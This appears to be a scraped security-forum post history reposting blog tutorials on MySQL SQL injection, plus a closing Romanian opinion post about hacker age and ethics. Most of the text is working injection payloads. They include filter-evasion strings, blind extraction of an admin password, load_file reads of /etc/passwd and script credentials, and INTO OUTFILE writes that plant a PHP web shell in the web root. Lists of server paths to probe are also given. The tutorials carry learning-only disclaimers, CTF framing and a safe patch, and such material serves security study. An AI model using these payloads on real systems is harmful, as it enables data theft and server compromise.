evaluated correctly and no error occurs. Again we have everything we need to retrieve data from the database and to have fun with regex filter evasions by regex errors. More: Part 1, Part 3, SQLi filter evasion cheatsheet Sursa: Exploiting hard filtered SQL Injections 2 (conditional errors) « Reiners’ Weblog
  10. Exploiting hard filtered SQL Injections While participating at some CTF challenges like Codegate10 or OWASPEU10 recently I noticed that it is extremely trendy to build SQL injection challenges with very tough filters which can be circumvented based on the flexible MySQL syntax. In this post I will show some example filters and how to exploit them which may also be interesting when exploiting real life SQL injections which seem unexploitable at first glance. For the following examples I’ll use this basic vulnerable PHP script: 01<?php 02// DB connection 03 04$id = $_GET['id']; 05$pass = mysql_real_escape_string($_GET['pass']); 06 07$result = mysql_query("SELECT id,name,pass FROM users WHERE id = $id AND pass = '$pass' "); 08 09if($data = @mysql_fetch_array($result)) 10 echo "Welcome ${data['name']}"; 11?> Note: the webapplication displays only the name of the first row of the sql resultset. Warmup Lets warm up. As you can see the parameter “id” is vulnerable to SQL Injection. The first thing you might want to do is to confirm the existence of a SQLi vulnerability: 1?id=1 and 1=0-- - 1?id=1 and 1=1-- - You also might want to see all usernames by iterating through limit (x): 1?id=1 or 1=1 LIMIT x,1-- - But usernames are mostly not as interesting as passwords and we assume that there is nothing interesting in each internal user area. So you would like to know what the table and column names are and you try the following: 1?id=1 and 1=0 union select null,table_name,null from information_schema.tables limit 28,1-- - 1?id=1 and 1=0 union select null,column_name,null from information_schema.columns where table_name='foundtablename' LIMIT 0,1-- - After you have found interesting tables and its column names you can start to extract data. 1?id=1 and 1=0 union select null,password,null from users limit 1,1-- - Ok thats enough for warming up. Whitespaces, quotes and slashes filtered Of course things aren’t that easy most time. Now consider the following filter for some extra characters: 1if(preg_match('/\s/', $id)) 2 exit('attack'); // no whitespaces 3if(preg_match('/[\'"]/', $id)) 4 exit('attack'); // no quotes 5if(preg_match('/[\/\\\\]/', $id)) 6 exit('attack'); // no slashes As you can see above our injections have a lot of spaces and some quotes. The first idea would be to replace the spaces by /*comments*/ but slashes are filtered. Alternative whitespaces are all catched by the whitespace filter. But luckily because of the flexible MySQL syntax we can avoid all whitespaces by using parenthesis to seperate SQL keywords (old but not seen very often). 1?id=(1)and(1)=(0)union(select(null),table_name,(null)from(information_schema.tables)limit 28,1-- -) Looks good, but still has some spaces at the end. So we also use group_concat() because LIMIT requires a space and therefore can’t be used anymore. Since all table names in one string can be very long, we can use substr() or mid() to limit the size of the returning string. As SQL comment we simply take “#” (not urlencoded for better readability). 1?id=(1)and(1)=(0)union(select(null),mid(group_concat(table_name),600,100),(null)from(information_schema.tables))# Instead of a quoted string we can use the SQL hex representation of the found table name: 1?id=(1)and(1)=(0)union(select(null),group_concat(column_name),(null)from(information_schema.columns)where(table_name)=(0x7573657273))# Nice. Basic keywords filtered Now consider the filter additionally checks for the keywords “and”, “null”, “where” and “limit”: 1if(preg_match('/\s/', $id)) 2 exit('attack'); // no whitespaces 3if(preg_match('/[\'"]/', $id)) 4 exit('attack'); // no quotes 5if(preg_match('/[\/\\\\]/', $id)) 6 exit('attack'); // no slashes 7if(preg_match('/(and|null|where|limit)/i', $id)) 8 exit('attack'); // no sqli keywords For some keywords this is still not a big problem. Something most of you would do from the beginning anyway is to confirm the SQLi with the following injections leading to the same result: 1?id=1# 1?id=2-1# To negotiate the previous resultset you can also use a non-existent id like 0. Instead of the place holder “null” we can select anything else of course because it is only a place holder for the correct column amount. So without the WHERE we have: 1?id=(0)union(select(0),group_concat(table_name),(0)from(information_schema.tables))# 1?id=(0)union(select(0),group_concat(column_name),(0)from(information_schema.columns))# This should give us all table and column names. But the output string from group_concat() gets very long for all available table and column names (including the columns of the mysql system tables) and the length returned by group_concat() is limited to 1024 by default. While the length may fit for all table names (total system table names length is about 900), it definitely does not fit for all available column names because all system column names concatenated already take more than 6000 chars. WHERE alternative The first idea would be to use ORDER BY column_name DESC to get the user tables first but that doesn’t work because ORDER BY needs a space. Another keyword we have left is HAVING. First we have a look which databases are available: 1?id=(0)union(select(0),group_concat(schema_name),(0)from(information_schema.schemata))# This will definitely fit into 1024 chars, but you can also use database() to get the current database name: 1?id=(0)union(select(0),database(),(0))# Lets assume your database name is “test” which hex representation is “0×74657374?. Then we can use HAVING to get all table names associated with the database “test” without using WHERE: 1?id=(0)union(select(table_schema),table_name,(0)from(information_schema.tables)having((table_schema)like(0x74657374)))# Note that you have to select the column “table_schema” in one of the place holders to use this column in HAVING. Since we assume that the webapp is designed to return only the first row of the result set, this will give us the first table name. The second table name can be retrieved by simply excluding the first found table name from the result: 1?id=(0)union(select(table_schema),table_name,(0)from(information_schema.tables)having((table_schema)like(0x74657374)&&(table_name)!=(0x7573657273)))# We use && as alternative for the filtered keyword AND (no urlencoding for better readability). Keep excluding table names until you have them all. Then you can go on with exactly the same technique to get all column names: 1?id=(0)union(select(table_name),column_name,(0)from(information_schema.columns)having((table_name)like(0x7573657273)))# 1?id=(0)union(select(table_name),column_name,(0)from(information_schema.columns)having((table_name)like(0x7573657273)&&(column_name)!=(0x6964)))# Unfortunately you can’t use group_concat() while using HAVING hence the excluding step by step. intermediate result What do we need for our injections so far? keywords: “union”, “select”, “from”,”having” characters: (),._# (& or “and”) String comparing characters like “=” and “!=” can be avoided by using the keywords “like” and “rlike” or the function strcmp() together with the keyword “not”: 1?id=(0)union(select(table_name),column_name,(0)from(information_schema.columns)having((table_name)like(0x7573657273)and(NOT((column_name)like(0x6964)))))# advanced keyword filtering Now its getting difficult. The filter also checks for all keywords previously needed: 01if(preg_match('/\s/', $id)) 02 exit('attack'); // no whitespaces 03if(preg_match('/[\'"]/', $id)) 04 exit('attack'); // no quotes 05if(preg_match('/[\/\\\\]/', $id)) 06 exit('attack'); // no slashes 07if(preg_match('/(and|or|null|where|limit)/i', $id)) 08 exit('attack'); // no sqli keywords 09if(preg_match('/(union|select|from|having)/i', $id)) 10 exit('attack'); // no sqli keywords What option do we have left? If we have the FILE privilege we can use load_file() (btw you can’t use into outfile without quotes and spaces). But we can’t output the result of load_file() because we can not use union select so we need another way to read the string returned by the load_file(). First we want to check if the file can be read. load_file() returns “null” if the file could not be read, but since the keyword “null” is filtered we cant compare to “null” or use functions like isnull(). A simple solution is to use coalesce() which returns the first not-null value in the list: 1?id=(coalesce(length(load_file(0x2F6574632F706173737764)),1)) This will return the length of the file content or – if the file could not be read – a “1? and therefore the success can be seen by the userdata selected in the original query. Now we can use the CASE operator to read the file content blindly char by char: 1?id=(case(mid(load_file(0x2F6574632F706173737764),$x,1))when($char)then(1)else(0)end) (while $char is the character in sql hex which is compared to the current character of the file at offset $x) We bypassed the filter but it requires the FILE privilege. filtering everything Ok now we expand the filter again and it will check for file operations too (or just assume you don’t have the FILE privilege). We also filter SQL comments. So lets assume the following (rearranged) filter: 01if(preg_match('/\s/', $id)) 02 exit('attack'); // no whitespaces 03if(preg_match('/[\'"]/', $id)) 04 exit('attack'); // no quotes 05if(preg_match('/[\/\\\\]/', $id)) 06 exit('attack'); // no slashes 07if(preg_match('/(and|or|null|not)/i', $id)) 08 exit('attack'); // no sqli boolean keywords 09if(preg_match('/(union|select|from|where)/i', $id)) 10 exit('attack'); // no sqli select keywords 11if(preg_match('/(group|order|having|limit)/i', $id)) 12 exit('attack'); // no sqli select keywords 13if(preg_match('/(into|file|case)/i', $id)) 14 exit('attack'); // no sqli operators 15if(preg_match('/(--|#|\/\*)/', $id)) 16 exit('attack'); // no sqli comments The SQL injection is still there but it may look unexploitable. Take a breath and have a look at the filter. Do we have anything left? We cant use procedure analyse() because it needs a space and we cant use the ’1?%’0? trick. Basically we only have special characters left, but that is often all we need. We need to keep in mind that we are already in a SELECT statement and we can add some conditions to the existing WHERE clause. The only problem with that is that we can only access columns that are already selected and that we do have to know their names. In our login example they shouldn’t be hard to guess though. Often they are named the same as the parameter names (as in our example) and in most cases the password column is one of {password, passwd, pass, pw, userpass}. So how do we access them blindly? A usual blind SQLi would look like the following: 1?id=(case when(mid(pass,1,1)='a') then 1 else 0 end) This will return 1 to the id if the first char of the password is ‘a’. Otherwise it will return a 0 to the WHERE clause. This works without another SELECT because we dont need to access a different table. Now the trick is to express this filtered CASE operation with only boolean operators. While AND and OR is filtered, we can use the characters && and || to check, if the first character of the pass is ‘a’: 1?id=1&&mid(pass,1,1)=(0x61);%00 We use a nullbyte instead of a filtered comment to ignore the check for the right password in the original sql query. Make sure you prepend a semicolon. Nice, we can now iterate through the password chars and extract them one by one by comparing them to its hex representation. If it matches, it will show the username for id=1 and if not the whole WHERE becomes untrue and nothing is displayed. Also we can iterate to every password of each user by simply iterating through all ids: 1?id=2&&mid(pass,1,1)=(0x61);%00 1?id=3&&mid(pass,1,1)=(0x61);%00 Of course this takes some time and mostly you are only interested in one specific password, for example of the user “admin” but you dont know his id. Basically we want something like: 1?id=(SELECT id FROM users WHERE name = 'admin') && mid(pass,1,1)=('a');%00 The first attempt could be: 1?id=1||1=1&&name=0x61646D696E&&mid(pass,1,1)=0x61;%00 That does not work because the “OR 1=1? at the beginning is stronger than the “AND”s so that we will always see the name of the first entry in the table (it gets more clearly wenn you write the “OR 1=1? at the end of the injection). So what we do is we compare the column id to the column id itself to make our check for the name and password independent of all id’s: 1?id=id&&name=0x61646D696E&&mid(pass,1,1)=0x61;%00 If the character of the password is guessed correctly we will see “Hello admin” – otherwise there is displayed nothing. With this we have successfully bypassed the tough filter. filtering everything and even more What else can we filter to make it more challenging? Sure, some characters like “=”, “|” and “&”. 01if(preg_match('/\s/', $id)) 02 exit('attack'); // no whitespaces 03if(preg_match('/[\'"]/', $id)) 04 exit('attack'); // no quotes 05if(preg_match('/[\/\\\\]/', $id)) 06 exit('attack'); // no slashes 07if(preg_match('/(and|or|null|not)/i', $id)) 08 exit('attack'); // no sqli boolean keywords 09if(preg_match('/(union|select|from|where)/i', $id)) 10 exit('attack'); // no sqli select keywords 11if(preg_match('/(group|order|having|limit)/i', $id)) 12 exit('attack'); // no sqli select keywords 13if(preg_match('/(into|file|case)/i', $id)) 14 exit('attack'); // no sqli operators 15if(preg_match('/(--|#|\/\*)/', $id)) 16 exit('attack'); // no sqli comments 17if(preg_match('/(=|&|\|)/', $id)) 18 exit('attack'); // no boolean operators Lets see. The character “=” shouldn’t be problematic as already mentioned above, we simply use “like” or “regexp” etc.: 1?id=id&&(name)like(0x61646D696E)&&(mid(pass,1,1))like(0x61);%00 The character “|” isn’t even needed. But what about the “&”? Can we check for the name=’admin’ and for the password characters without using logical operators? After exploring all sorts of functions and comparison operators I finally found the simple function if(). It basically works like the CASE structure but is a lot shorter and ideal for SQL obfuscation / filter evasion. The first attempt is to jump to the id which correspondents to the name = ‘admin’: 1?id=if((name)like(0x61646D696E),1,0);%00 This will return 1, if the username is admin and 0 otherwise. Now that we actually want to work with the admin’s id we return his id instead of 1: 1?id=if((name)like(0x61646D696E),id,0);%00 Now the tricky part is to not use AND or && but to also check for the password chars. So what we do is we nest the if clauses. Here is the commented injection: 1?id= 2if( 3 // if (it gets true if the name='admin') 4 if((name)like(0x61646D696E),1,0), 5 // then (if first password char='a' return admin id, else 0) 6 if(mid((password),1,1)like(0x61),id,0), 7 // else (return 0) 8 0 9);%00 Injection in one line: 1?id=if(if((name)like(0x61646D696E),1,0),if(mid((password),1,1)like(0x61),id,0),0);%00 Again you will see “Hello admin” if the password character was guessed correctly and otherwise you’ll see nothing (id=0). Sweet! Conclusion (My)SQL isn’t as flexible as Javascript, thats for sure. The main difference is that you can’t obfuscate keywords because there is nothing like eval() (as long as you don’t inject into stored procedures). But as shown in this article there isn’t much more needed than some characters (mainly parenthesis and commas) to not only get a working injection but also to extract data or read files. Various techniques also have shown that detecting and blocking SQL injections based on keywords is not reliable and that exploiting those is just a matter of time. If you have any other clever ways for bypassing the filters described above please leave a comment. What about additionally filtering “if” too ? Edit: Because there has been some confusion: you should NOT use the last filter for securing your webapp. This post shows why it is bad to rely on a blacklist. To secure your webapp properly, typecast expected integer values and escape expected strings with mysql_real_escape_string(), but don’t forget to embed the result in quotes in your SQL query. Here is a safe patch for the example: 1$id = (int) $_GET['id']; 2$pass = mysql_real_escape_string($_GET['pass']); 3$result = mysql_query("SELECT id,name,pass FROM users WHERE id = $id AND pass = '$pass' "); For more details have a look at the comments. More: Part2, Part 3, SQLi filter evasion cheatsheet Sursa: Exploiting hard filtered SQL Injections « Reiners’ Weblog
      • 1
      • Upvote
  11. MySQL table and column names (update 2) Yesterday Paic posted a new comment about another idea for retrieving column names under MySQL. He found a clever way to get column names through MySQL error messages based on a trick I posted on my first article about MySQL table and column names. Here I used the modular operation ’1?%’0? in an injection after a WHERE clause, to provoke a MySQL error containing the column name used in the WHERE clause. But for now I couldnt expand this to other columns not used in the WHERE clause. Paic found a cool way with “row subqueries”. He explains the scenario pretty well, so I will just quote his comment: I’ve recently found an interesting way of retrieving more column’s name when information_schema table is not accessible. It assume you’ve already found some table’s name. It is using the 1%0 trick and MySQL subqueries. I was playing around with sql subqueries when I’ve found something very interesting: “Row Subqueries” You’d better read this in order to understand what’s next: MySQL :: MySQL 5.0 Reference Manual :: 12.2.9.5 Row Subqueries The hint is “The row constructor and the row returned by the subquery must contain the same number of values.” Ok, imagine you have the table USER_TABLE. You don’t have any other informations than the table’s name. The sql query is expecting only one row as result. Here is our input: ‘ AND (SELECT * FROM USER_TABLE) = (1)– - MySQL answer: “Operand should contain 7 column(s)” MySQL told us that the table USER_TABLE has 7 columns! That’s great! Now we can use the UNION and 1%0 to retrieve some column’s name: The following query shouldn’t give you any error: ‘ AND (1,2,3,4,5,6,7) = (SELECT * FROM USER_TABLE UNION SELECT 1,2,3,4,5,6,7 LIMIT 1)– - Now let’s try with the first colum, simply add %0 to the first column in the UNION: ‘ AND (1,2,3,4,5,6,7) = (SELECT * FROM USER_TABLE UNION SELECT 1%0,2,3,4,5,6,7 LIMIT 1)– - MySQL answer: “Column ‘usr_u_id’ cannot be null” We’ve got the first column name: “usr_u_id” Then we proceed with the other columns… Example with the 4th column: ‘ AND (1,2,3,4,5,6,7) = (SELECT * FROM USER_TABLE UNION SELECT 1,2,3,4%0,5,6,7 LIMIT 1)– - if MySQL doesn’t reply with an error message, this is just because the column can be empty and you won’t be able to get it’s name! So remember: this does only work if the column types have the parameter “NOT NULL” and if you know the table name. Additionally, this behavior has been fixed in MySQL 5.1. Obviously it was a bug because the error message should only appear if you try to insert “nothing” in a column marked with “NOT NULL” instead of selecting. Btw other mathematical operations like “1/0? or just “null” does not work, at least I couldn’t find any other. For ’1?%’0? you can also use mod(’1?,’0?). Anyway, another possibility you have when you cant access information_schema or procedure analyse(). Nice update: you can find some more information here. More: update1 Sursa: MySQL table and column names (update 2) « Reiners’ Weblog
  12. MySQL table and column names Getting the table and column names within a SQL injection attack is often a problem and I’ve seen a lot of questions about this on the internet. Often you need them to start further SQLi attacks to get the data. So this article shows you how I would try to get the data in different scenarios on MySQL. For other databases I recommend the extensive cheat sheets from pentestmonkey. Please note that attacking websites you are not allowed to attack is a crime and should not be done. This article is for learning purposes only. For the following injections I’ll assume you understand the basics of SQL injection and union select. My injections are written for a SELECT query with two columns, however don’t forget to add nulls in the right amount. 1. The information_schema table 1.a. Read information_schema table normally Sometimes on MySQL >=5.0 you can access the information_schema table. So you may want to check which MySQL version is running: 0? UNION SELECT version(),null /* or: 0? UNION SELECT @@version,null /* Once you know which version is running, proceed with these steps (MySQL >= 5.0) or jump to the next point. You can either get the names step by step or at once. First, get the tablenames: 0? UNION SELECT table_name,null FROM information_schema.tables WHERE version = ’9 Note that version=9 has nothing to do with the MySQL version. It’s just an unique identifier for user generated tables, so leave as it is to ignore MySQL system table names. update: Testing another MySQL version (5.0.51a) I noticed that the version is “10? for user generated tables. so dont worry if you dont get any results. instead of the unique identifier you can also use “LIMIT offset,amount”. Second, get the columnnames: 0? UNION SELECT column_name,null FROM information_schema.columns WHERE table_name = ‘tablename Or with one injection: 0? UNION SELECT column_name,table_name FROM information_schema.columns /* Unfortunetly there is no unique identifier, so you have to scroll through the whole information_schema table if you use this. If the webapplication is designed to output only the first line of the resultset you can use LIMIT x,1 (starting with x=0) to iterate your result line by line. 0? UNION SELECT column_name,null FROM information_schema.columns WHERE table_name = ‘tablename’ LIMIT 3,1 Also, you can use group_concat() to concatenate all table/column names to one string and therefore also return only one line: 0? UNION SELECT group_concat(column_name),null FROM information_schema.columns WHERE table_name = ‘tablename Once you know all table names and column names you can union select all the data you need. For more details about the information_schema table see the MySQL Documentation Library. There you’ll find other interesting columns you can add instead of null, for example data_type. Ok, that was the easiest part. 1.b. Read information_schema table blindly Sometimes you can’t see the output of your request, however there are some techniques to get the info blindly, called Blind SQL Injection. I’ll assume you know the basics. However, make sure you really need to use blind injection. Often you just have to make sure the actual result returns null and the output of your injection gets processed by the mysql_functions instead. Use something like AND 1=0 to make sure the actual output is null and then append your union select to get your data, for example: 1? AND 1=0 UNION SELECT @@version,null /* If you really need blind SQL injection we’ll go through the same steps as above, so first we try to get the version: 1?AND MID(version(),1,1) like ’4 The request will be successfull and the same page will be displayed like as we did no injection if the version starts with “4?. If not, I’ll guess the server is running MySQL 5. Check it out: 1?AND MID(version(),1,1) like ’5 Always remember to put a value before the actual injection which would give “normal” output. If the output does not differ, no matter what you’ll inject try some benchmark tests: 1? UNION SELECT (if(mid(version(),1,1) like 4, benchmark(100000,sha1(‘test’)), ‘false’)),null /* But be careful with the benchmark values, you dont want to crash your browser . I’d suggest you to try some values first to get a acceptable response time. Once we know the version number you can proceed with these steps (MySQL >= 5.0) or jump to the next point. Since we cant read out the table name we have to brute it. Yes, that can be annoying, but who said it would be easy? We’ll use the same injection as in 1.), but now with blind injection technique: 1? AND MID((SELECT table_name FROM information_schema.tables WHERE version = 9 LIMIT 1),1,1) > ‘m Again, this will check if the first letter of our first table is alphabetically located behind “m”. As stated above, version=9 has nothing to do with the MySQL version number and is used here to fetch only user generated tables. Once you got the right letter, move on to the next: 1? AND MID((SELECT table_name FROM information_schema.tables WHERE version = 9 LIMIT 1),2,1) > ‘m And so on. If you got the tablename you can brute its columns. This works as the same principle: 1? AND MID((SELECT column_name FROM information_schema.columns WHERE table_name = ‘tablename’ LIMIT 1),1,1) > ‘m 1? AND MID((SELECT column_name FROM information_schema.columns WHERE table_name = ‘tablename’ LIMIT 1),2,1) > ‘m 1? AND MID((SELECT column_name FROM information_schema.columns WHERE table_name = ‘tablename’ LIMIT 1),3,1) > ‘m And so on. To check the next name, just skip the first bruted tablename with LIMIT (see comments for more details about the index): 1? AND MID((SELECT table_name FROM information_schema.tables WHERE version = 9 LIMIT 1,1),1,1) > ‘m Or columnname: 1? AND MID((SELECT column_name FROM information_schema.columns WHERE table_name = ‘tablename’ LIMIT 1,1),1,1) > ‘m Sometimes it also makes sense to check the length of the name first, so maybe you can guess it easier the more letters you reveal. Check for the tablename: 1? AND MID((SELECT table_name FROM information_schema.tables WHERE version = 9 LIMIT 1),6,1)=’ Or for the column name: 1? AND MID((SELECT column_name FROM information_schema.columns WHERE table_name = ‘tablename’ LIMIT 1),6,1)=’ Both injections check if the sixth letter is not empty. If it is, and the fifth letter exists, you know the name is 5 letters long. Since we know that the information_schema table has 33 entries by default we can also check out how many user generated tables exist. That means that every entry more than 33 is a table created by a user. If the following succeeds, it means that there is one user generated table: 1? AND 34=(SELECT COUNT(*) FROM information_schema.tables)/* There are two tables if the following is true: 1? AND 35=(SELECT COUNT(*) FROM information_schema.tables)/* And so on. 2. You don’t have access to information_schema table If you don’t have access to the information_schema table (default) or hit a MySQL version < 5.0 it’s quite difficult on MySQL. There is only one error message I could find that reveals a name: 1?%’0 Query failed: Column ‘id’ cannot be null But that doesnt give you info on other column or table names and only works if you can access error messages. However, it could make guessing the other names easier. If you don’t want to use a bruteforce tool we will have to use load_file. But that will require that you can see the output of course. “To use this function, the file must be located on the server host, you must specify the full pathname to the file, and you must have the FILE privilege. The file must be readable by all and its size less than max_allowed_packet bytes.” You can read out max_allowed_packet on MySQL 5 0? UNION SELECT @@max_allowed_packet,null /* Mostly you’ll find the standard value 1047552 (Byte). Note that load_file always starts to look in the datadir. You can read out the datadir with: 0? UNION SELECT @@datadir,null /* So if your datadir is /var/lib/mysql for example, load_file(‘file.txt’) will look for /var/lib/mysql/file.txt. 2.a. Read the script file Now, the first thing I would try is to load the actual script file. This not only gives you the exact query with all table and column names, but also the database connection credentials. A file read could look like this: 0? UNION SELECT load_file(‘../../../../Apache/htdocs/path/file.php’),null /* (Windows) 0? UNION SELECT load_file(‘../../../var/www/path/file.php’),null /* (Linux) The amount of directories you have to jump back with ../ is the amount of directories the datadir path has. After that follows the webserver path. All about file privileges and webserver path can be found in my article about into outfile. Once you got the script you can also use into outfile combined with OR 1=1 to write the whole output to a file or to set up a little PHP script on the target webserver which reads out the whole database (or the information you want) for you. 2. Read the database file On MySQL 4 and 5 you can also use load_file to get the table content. The database files are usually stored in @@datadir/databasename/ Take a look at step 2. how to get the datadir. An injection we need to read the database content looks like this: 0? UNION SELECT load_file(‘databasename/tablename.MYD’),null /* As you can see we need the databasename and tablename first. The databasename is easy: 0? UNION SELECT database(),null /* The table name is the hard part. Actually you can only guess or bruteforce it with a good wordlist and something like: 0? UNION SELECT ‘success’,null FROM testname /* This will throw an error if testname does not exists, or display “success” if tablename testname exists. If you try to guess the name, have a look at all errors, vars and html sources you can get to get an idea of how they could have named the table / columns. Often it is not as difficult as it seems first. You can find a small wordlist for common tablenames here (by Raz0r) and here. Also note that the file loaded with load_file() must be smaller than max_allowed_packet so this wont work on huge database files, because the standard value is ~1 MB which will suffice for only about 100.000 entries (if my calculation is right ) (2.c. Compromising the server) There are no other ways to get the data as far as I know, except of compromising the server via MySQL into outfile or with other techniques which are beyond the scope of this article (e.g. LFI). If you do have any other clever ways I don’t know of or feel I’m in error on some facts, PLEASE contact me. UPDATE: have a look at this post about PROCEDURE ANALYSE to get the names of the database, table and columns which are used by the query you are injecting to. UPDATE2: also have a look at this post. Sursa: MySQL table and column names « Reiners’ Weblog
  13. MySQL into outfile This article will be about into outfile, a pretty useful feature of MySQL for SQLi attackers. We will take a look at the FILE privilege and the web directory problem first and then think about some useful files we could write on the webserver. Please note that attacking websites you are not allowed to attack is a crime and should not be done. This article is for learning purposes only. As in the previous articles I’ll assume you know the basics about SQL injection and union select. 1.) The FILE privilege If we want to read or write to files we have to have the FILE privilege. Lets find out which database user we are first: 0? UNION SELECT current_user,null /* or: 0? UNION SELECT user(),null /* This will give us the username@server. We’re just interested in the username by now. You can also use the following blind SQL injections if you cant access the output of the query. Guess a name: 1? AND user() LIKE ‘root Brute the name letter by letter: 1? AND MID((user()),1,1)>’m 1? AND MID((user()),2,1)>’m 1? AND MID((user()),3,1)>’m … Once we know the current username we can check the FILE privilege for this user. First we try to access the mysql.user table (MySQL 4/5): 0? UNION SELECT file_priv,null FROM mysql.user WHERE user = ‘username You can also have a look at the whole mysql.user table without the WHERE clause, but I chose this way because you can easily adapt the injection for blind SQL injection: 1? AND MID((SELECT file_priv FROM mysql.user WHERE user = ‘username’),1,1) = ‘Y (one column only, do not add nulls here, it’s not a union select) You can also recieve the FILE privilege info from the information.schema table on MySQL 5: 0? UNION SELECT grantee,is_grantable FROM information_schema.user_privileges WHERE privilege_type = ‘file’ AND grantee like ‘%username% blindly: 1? AND MID((SELECT is_grantable FROM information_schema.user_privileges WHERE privilege_type = ‘file’ AND grantee like ‘%username%’),1,1)=’Y If you can’t access the mysql.user or information_schema table (default) just go ahead with the next steps and just try. If you figured out that you have no FILE privileges you can’t successfully use INTO OUTFILE. 2.) The web directory problem Once we know if we can read/write files we have to check out the right path. In the most cases the MySQL server is running on the same machine as the webserver does and to access our files later we want to write them onto the web directory. If you define no path, INTO OUTFILE will write into the database directory. On MySQL 4 we can get an error message displaying the datadir: 0? UNION SELECT load_file(‘a’),null/* On MySQL 5 we use: 0? UNION SELECT @@datadir,null/* The default path for file writing then is datadir\databasename. You can figure out the databasename with: 0? UNION SELECT database(),null/* Now these information are hard to get with blind SQL injection. But you don’t need them necessarily. Just make sure you find out the web directory and use some ../ to jump back from the datadir. If you are lucky the script uses mysql_result(), mysql_free_result(), mysql_fetch_row() or similar functions and displays warning messages. Then you can easily find out the webserver directory by leaving those functions with no input that they will throw a warning message like: Warning: mysql_fetch_row(): supplied argument is not a valid MySQL result resource in /web/server/path/file.php on line xxx To provoke an error like this try something like: 0? AND 1=’0 This works at the most websites. If you’re not lucky you have to guess the web directory or try to use load_file() to fetch files on the server which might help you. Here is a new list of possible locations for the Apache configuration file, which may spoil the webdirectory path: /etc/init.d/apache /etc/init.d/apache2 /etc/httpd/httpd.conf /etc/apache/apache.conf /etc/apache/httpd.conf /etc/apache2/apache2.conf /etc/apache2/httpd.conf /usr/local/apache2/conf/httpd.conf /usr/local/apache/conf/httpd.conf /opt/apache/conf/httpd.conf /home/apache/httpd.conf /home/apache/conf/httpd.conf /etc/apache2/sites-available/default /etc/apache2/vhosts.d/default_vhost.include Check out the webservers name first by reading the header info and then figure out where it usually stores its configuration files. This also depends on the OS type (*nix/win) so you may want to check that out too. Use @@version or version() to find that out: 0? UNION SELECT @@version,null /* -nt-log at the end means it’s a windows box, -log only means it’s *nix box. Or take a look at the paths in error messages or at the header. Typical web directories to guess could be: /var/www/html/ /var/www/web1/html/ /var/www/sitename/htdocs/ /var/www/localhost/htdocs /var/www/vhosts/sitename/httpdocs/ Use google to get some more ideas. Basically you should be allowed to write into any directory where the MySQL server has write access to, as long as you have the FILE privilege. However, an Administrator can limit the path for public write access. 3.) create useful files Once you figured out the right directory you can select data and write it into a file with: 0? UNION SELECT columnname,null FROM tablename INTO OUTFILE ‘../../web/dir/file.txt (How to figure out column/table names, see my article about MySQL table and column names) Or the whole data without knowing the table/column names: 1? OR 1=1 INTO OUTFILE ‘../../web/dir/file.txt If you want to avoid splitting chars between the data, use INTO DUMPFILE instead of INTO OUTFILE. You can also combine load_file() with into outfile, like putting a copy of a file to the accessable webspace. 0? AND 1=0 UNION SELECT load_file(‘…’) INTO OUTFILE ‘… In some cases I’d recommend to use 0? AND 1=0 UNION SELECT hex(load_file(‘…’)) INTO OUTFILE ‘… and decrypt it later with the PHP Charset Encoder, especially when reading the MySQL data files. Or you can write whatever you want into a file: 0? AND 1=0 UNION SELECT ‘code’,null INTO OUTFILE ‘../../web/server/dir/file.php Here are some useful code examples: // PHP SHELL <? system($_GET['c']); ?> This is a very simple one. You can find more complex ones (including file browsing and so on) on the internet. Note that the PHP safe_mode must be turned off. Depending on OS and PHP version you can bypass the safe_mode sometimes. // webserver info Gain a lot of information about the webserver configuration with: <? phpinfo(); ?> // SQL QUERY <? ... $result = mysql_query($_GET['query']); ... ?> Try to use load_file() to get the database connection credentials, or try to include an existing file on the webserver which handles the mysql connect. At the end some notes regarding INTO OUTFILE: you can’t overwrite files with INTO OUTFILE INTO OUTFILE must be the last statement in the query there is no way I know of to encode the pathname, so quotes are required you can encode your code with char() If you have any other clever tricks or feel I’m in error on some facts, PLEASE leave a comment or contact me. SURSA: MySQL into outfile « Reiners’ Weblog
  14. Am uitat sa specific cate ceva legat de teorema: "Hackerii sunt tineri". Pe scurt e falsa. Da, daca iei "hacker" in sensul mass-media, atunci da, hackerii sunt persoane tinere. Dar tind mult spre script-kiddism. Foarte mult. Doar nu te astepti ca o persoana de 14 ani sa gaseasca o modalitate de a incarca un driver printr-un cod in assembler non-API (exemplu aiurea) sau mai stiu eu ce. Da, se intampla si ca persoane foarte tinere sa aiba idei foarte bune, idei geniale si sa decopere lucruri noi, dar asta se intampla extrem de rar. Hacker in sensul in care vad eu acest atribut, e o persoana trecuta prin viata, care a petrecut mai mult de 2 ore incercand sa invete CUM se intampla anumite lucruri, sa le inteleaga, apoi sa poata reusi sa faca bypass la un mecanism de securitate de exemplu. Pe langa timpul petrecut invatand si explorand, o persoana mai "in varsta" are ceva extrem de important: o etica foarte dezvoltata. Da, spargi un site la 15 ani sa te lauzi prietenilor, dar la 30 de ani deja ti se pare o mare prostie, o copilarie, si chiar daca ti-ar fi extrem de usor sa faci asta, nu o sa o faci pentru ca nu ti se pare ceva destul de complicat pentru tine (experienta vine in timp). Si vei incerca sa faci lucruri mult mai complicate, insa acele lucruri nu vor aparea in mass-media, pentru ca acestia se adreseaza persoanelor de rand, persoane care nu stiu de exemplu care e arhitectura unui sistem de operare si care nu o sa inteleaga cum sta treaba. Ei vor ramane mereu cu chestiile de suprafata, usor de inteles pentru toata lumea, iar cei mai in varsta "se vor pierde" dar nu prea. Adica nu va sti toata lumea de tine daca vei face lucruri complicate, sa zicem daca ai scrie device drivere, insa va sti cine trebuie: o firma care se ocupa cu asa ceva, si vei castiga destul de bine din asta.
